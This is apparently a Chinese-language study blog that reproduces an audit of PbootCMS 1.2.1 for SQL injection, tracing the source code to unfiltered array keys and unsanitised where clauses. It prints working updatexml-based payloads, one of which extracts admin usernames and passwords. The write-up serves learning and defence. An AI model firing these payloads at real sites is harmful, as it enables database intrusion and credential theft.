May 29th 2019, 12:00:00 am
说在前面 本来只想复现一下sql注入的几篇文章,但在先知上找到了几篇非常好的入门审计的文章。于是打算按照他的审计思路,熟悉一下PHP代码审计流程,同时整理一下SQL注入的审计方法。
文章地址:https://xz.aliyun.com/t/3532
过程一 了解网站的基本架构 文章是拿PbootCMS1.2.1来做演示。 安装好系统,配置好数据库信息,阅读一下网站开发手册。
在审计之前,可以先做以下事情:
1. 了解网站目录结构
使用 tree > tree.txt 来生成文件树。快速了解系统。
2. 确定路由走向
一般是mvc的路由,这个cms还包含自定义路由。
过程二 了解系统参数与底层过滤情况 1. 了解系统参数过滤的情况
a)原生GET,POST,REUQEST最简单的方法就是找一个系统中外部可访问的方法,使用
var_dump($_GET);
var_dump($_POST);
var_dump($_REQUEST);
来查看过滤情况
文章使用了一个留言新增点,添加了上方语句之后。
访问:/index.php/Message/add?test='";!-=$%^{()}<>
用此来检测原始数据的过滤情况
b)系统外部变量获取函数 get(),post(),request()
可以直接使用seay搜索"get("来寻找到get数据处理的函数。
2. 了解数据库底层运行方式
了解数据库增删查改的函数,查看是否有过滤。
seay搜索:insert( 等。
SQL注入 在线留言处insert sql注入 复现漏洞 http://127.0.0.1/index.php/about/10
提交留言并抓包。
将:
contacts=1&mobile=2&content=3&checkcode=3231
修改为:
contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a]
提交数据包,可以获得数据库用户名:
pic
代码分析 POST提交的地址为:
http://127.0.0.1/index.php/Message/add
根据路由,位置为: Message模块,add方法。
具体位置:apps/home/controller/MessageController.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 public function add ( ) { if ($_POST ) { if (time() - session('lastsub' ) < 10 ) { alert_back('您提交太频繁了,请稍后再试!' ); } $checkcode = post('checkcode' ); if ($this ->config('message_check_code' )) { if (! $checkcode ) { alert_back('验证码不能为空!' ); } if ($checkcode != session('checkcode' )) { alert_back('验证码错误!' ); } } if (! $form = $this ->model->getFormField(1 )) { alert_back('留言表单不存在任何字段,请核对后重试!' ); } $mail_body = '' ; foreach ($form as $value ) { $field_data = post($value ->name); if (is_array($field_data )) { $field_data = implode(',' , $field_data ); } if ($value ->required && ! $field_data ) { alert_back($value ->description . '不能为空!' ); } else { $data [$value ->name] = post($value ->name); $mail_body .= $value ->description . ':' . post($value ->name) . '<br>' ; } } if ($data ) { $data ['acode' ] = session('lg' ); $data ['user_ip' ] = ip2long(get_user_ip()); $data ['user_os' ] = get_user_os(); $data ['user_bs' ] = get_user_bs(); $data ['recontent' ] = '' ; $data ['status' ] = 0 ; $data ['create_user' ] = 'guest' ; $data ['update_user' ] = 'guest' ; } if ($this ->model->addMessage($data )) { session('lastsub' , time()); $this ->log('留言提交成功!' ); if ($this ->config('message_send_mail' ) && $this ->config('message_send_to' )) { $mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!" ; $mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s' ) . ')' ; sendmail($this ->config(), $this ->config('message_send_to' ), $mail_subject , $mail_body ); } alert_location('提交成功!' , '-1' ); } else { $this ->log('留言提交失败!' ); alert_back('提交失败!' ); } } else { error ('提交失败,请使用POST方式提交!' ); } }
提交的步骤为:
判断POST提交的数据是否为空
检查字段值是否为空并获取字段值
设置额外数据后提交 调用:$this->model->addMessage($data)
为了了解对POST数据的过滤情况,跟踪接收数据处的post()函数: core\function\helper.php
1 2 3 4 5 6 7 8 9 10 11 12 function post ($name , $type = null , $require = false , $vartext = null , $default = null ) { $condition = array ( 'd_source' => 'post' , 'd_type' => $type , 'd_require' => $require , $name => $vartext , 'd_default' => $default ); return filter($name , $condition ); }
返回的数据进行了处理,继续跟踪filter()函数:core\function\helper.php
1 2 3 4 5 6 function filter ($varname , $condition ) { return escape_string($data ); }
函数内容都是对是一些对数据格式的处理,在最后才有对数据内容进行处理的函数。
继续跟踪escape_string()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function escape_string ($string , $dropStr = true ) { if (! $string ) return $string ; if (is_array($string )) { foreach ($string as $key => $value ) { $string [$key ] = escape_string($value ); } } elseif (is_object($string )) { foreach ($string as $key => $value ) { $string ->$key = escape_string($value ); } } else { if ($dropStr ) { $string = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|(extractvalue)|(name_const)|(concat)/i' , '' , $string ); } $string = htmlspecialchars(trim($string ), ENT_QUOTES, 'UTF-8' ); $string = addslashes($string ); } return $string ; }
对数据内容进行的过滤为:
使用正则将一些sql注入的关键字替换为空
htmlspecialchars():把预定义的字符转换为 HTML 实体。
addslashes() :在预定义字符之前添加反斜杠的字符串。
但是这里只对数组值进行处理,却没有对数组的键进行处理。所以根据后面insert()函数的插入方式,可以进行sql注入。
以上是对POST传入参数的处理。
接着前面的$this->model->addMessage($data)
跟踪addMessage函数:apps\api\model\CmsModel.php
1 2 3 4 public function addMessage ($table , $data ) { return parent ::table('ay_message' )->autoTime()->insert($data ); }
继续跟踪insert()函数:core\basic\Model.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 final public function insert (array $data = array ( ), $batch = true ) { if (! $data && isset ($this ->sql['data' ])) { return $this ->insert($this ->sql['data' ]); } if (is_array($data )) { if (! $data ) return ; if (count($data ) == count($data , 1 )) { $keys = '' ; $values = '' ; foreach ($data as $key => $value ) { if (! is_numeric($key )) { $keys .= "`" . $key . "`," ; $values .= "'" . $value . "'," ; } } if ($this ->autoTimestamp || (isset ($this ->sql['auto_time' ]) && $this ->sql['auto_time' ] == true )) { $keys .= "`" . $this ->createTimeField . "`,`" . $this ->updateTimeField . "`," ; if ($this ->intTimeFormat) { $values .= "'" . time() . "','" . time() . "'," ; } else { $values .= "'" . date('Y-m-d H:i:s' ) . "','" . date('Y-m-d H:i:s' ) . "'," ; } } if ($keys ) { $this ->sql['field' ] = '(' . substr($keys , 0 , - 1 ) . ')' ; } elseif (isset ($this ->sql['field' ]) && $this ->sql['field' ]) { $this ->sql['field' ] = "({$this->sql['field']} )" ; } $this ->sql['value' ] = "(" . substr($values , 0 , - 1 ) . ")" ; $sql = $this ->buildSql($this ->insertSql); } else { if ($batch ) { $key_string = '' ; $value_string = '' ; $flag = false ; foreach ($data as $keys => $value ) { if (! $flag ) { $value_string .= ' SELECT ' ; } else { $value_string .= ' UNION All SELECT ' ; } foreach ($value as $key2 => $value2 ) { if (! $flag && ! is_numeric($key2 )) { $key_string .= "`" . $key2 . "`," ; } $value_string .= "'" . $value2 . "'," ; } $flag = true ; if ($this ->autoTimestamp || (isset ($this ->sql['auto_time' ]) && $this ->sql['auto_time' ] == true )) { if ($this ->intTimeFormat) { $value_string .= "'" . time() . "','" . time() . "'," ; } else { $value_string .= "'" . date('Y-m-d H:i:s' ) . "','" . date('Y-m-d H:i:s' ) . "'," ; } } $value_string = substr($value_string , 0 , - 1 ); } if ($this ->autoTimestamp || (isset ($this ->sql['auto_time' ]) && $this ->sql['auto_time' ] == true )) { $key_string .= "`" . $this ->createTimeField . "`,`" . $this ->updateTimeField . "`," ; } if ($key_string ) { $this ->sql['field' ] = '(' . substr($key_string , 0 , - 1 ) . ')' ; } elseif (isset ($this ->sql['field' ]) && $this ->sql['field' ]) { $this ->sql['field' ] = "({$this->sql['field']} )" ; } $this ->sql['value' ] = $value_string ; $sql = $this ->buildSql($this ->insertMultSql); if (get_db_type() == 'mysql' ) { $max_allowed_packet = $this ->getDb()->one('SELECT @@global.max_allowed_packet' , 2 ); } else { $max_allowed_packet = 1 * 1024 * 1024 ; } if (strlen($sql ) > $max_allowed_packet ) { return $this ->insert($data , false ); } } else { foreach ($data as $keys => $value ) { $result = $this ->insert($value ); } return $result ; } } } elseif ($this ->sql['from' ]) { if (isset ($this ->sql['field' ]) && $this ->sql['field' ]) { $this ->sql['field' ] = "({$this->sql['field']} )" ; } $sql = $this ->buildSql($this ->insertFromSql); } else { return ; } return $this ->getDb()->amd($sql ); }
insert函数只是对提交的数据进行了拼接,并未对数据进行过滤。
提交一个留言,查看提交的mysql语句。
INSERT INTO ay_message (`contacts`,`mobile`,`content`,`acode`,`user_ip`,`user_os`,`user_bs`,`recontent`,`status`,`create_user`,`update_user`,`create_time`,`update_time`) VALUES ('1','2','3','cn','2130706433','Windows 10','Chrome','','0','guest','guest','2019-05-20 16:00:22','2019-05-20 16:00:22')
这里的1, 2, 3是我们可以控制的内容,但是内容会被过滤,所以不能进行sql注入,但还有contracts, mobile, content这三个从post传过去并没有进行过滤的参数名。
于是构造payload:
contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a]
用Brupsuite抓包后提交,就会得到user()。
前台SQL注入 漏洞复现 直接访问:
http://127.0.0.1/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123
源码分析 后面几个例子基本都是围绕这个点注入的。
直接来看源码:
\apps\home\controller\ParserController.php
里面有一个parserAfter函数,里面会调用指定列表的函数,跟进这个函数:
1 2 3 4 5 6 7 public function parserAfter ($content ) { ... $content = $this ->parserSpecifyListLabel($content ); ... }
这个函数在进行数据筛选的时候,会调用:
1 2 3 4 5 6 7 8 9 ... $where2 = array ();foreach ($_GET as $key => $value ) { if (substr($key , 0 , 4 ) == 'ext_' ) { $where2 [$key ] = get($key ); } } ...
会判断get中的参数的前缀是否为ext_ 如果是,就加入where2数组。
where2数组最终会进入到下面的两个函数内。继续跟进这两个函数:
$data = $this->model->getList($scode, $num, $order, $where1, $where2);
$data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function getSpecifyList ($acode , $scode , $num , $order , $where = array ( ) ) { ... return parent ::table('ay_content a' )->field($fields ) ->where($where1 , 'OR' ) ->where($where2 ) ->where($where , 'AND' , 'AND' , true ) ->join($join ) ->order($order ) ->limit($num ) ->decode() ->select(); }
可见,这个where2数组的会被带入到where函数内进行查询。
当payload被传入时,where函数会拼接数组里的值,进而导致sql注入漏洞。查询的sql语句如下所示。
1 2 SELECT a.*,b.name as sortname,b.filename as sortfilename,c.name as subsortname,c.filename as subfilename,d.type,e.* FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5' ,'6' ,'7' ) OR a.subscode='5' ) AND (a.acode='cn' AND a.status=1 AND d.type=2 ) AND (ext_price=1 and updatexml(1 ,concat(0x7e ,(SELECTdistinctconcat(0x23 ,username,0x3a ,password,0x23 )FROM ay_userlimit0 ,1 ),0x7e ),1 ));
总结 见到有个大佬的文章里面总结的很好,这里就直接按他的思路来了。
在sql注入的审计过程中,一般的流程为:
在seay中开启查询日志
查找系统的输入点,尝试输入一些内容并执行
跟随输入信息,判断输入的内容是否被过滤,是否可利用。
构造注入语句进行测试
我觉得在这之前应该对框架和底层sql插入的函数方法有个大概的了解。
一些输入点的总结:
1)表单提交,主要是POST请求,也包括GET请求。
2)URL参数提交,主要为GET请求参数。
3)Cookie参数提交。
4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。
5)一些边缘的输入点,比如.jpg文件的一些文件信息等。
对TP的框架还是半懵半懂的状态,一定要学,必须要学。
这次倒是对sql注入的审计有了大概的框架了,后面要尝试审计几个小的cms。